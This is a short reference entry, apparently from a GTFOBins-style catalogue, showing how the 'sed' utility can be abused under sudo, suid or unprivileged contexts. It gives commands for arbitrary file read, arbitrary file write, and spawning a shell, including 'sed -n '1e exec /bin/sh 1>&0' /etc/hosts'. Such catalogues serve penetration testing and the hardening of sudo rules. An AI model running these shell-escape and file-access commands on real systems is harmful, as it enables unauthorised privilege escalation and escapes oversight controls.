sed

File Read

Context: sudo, suid, unprivileged

sed '' /path/to/input-file

File Write

Context: sudo, suid, unprivileged

sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts

Shell

Context: sudo, suid, unprivileged

sed -n '1e exec /bin/sh 1>&0' /etc/hosts

Context: sudo, suid, unprivileged

sed e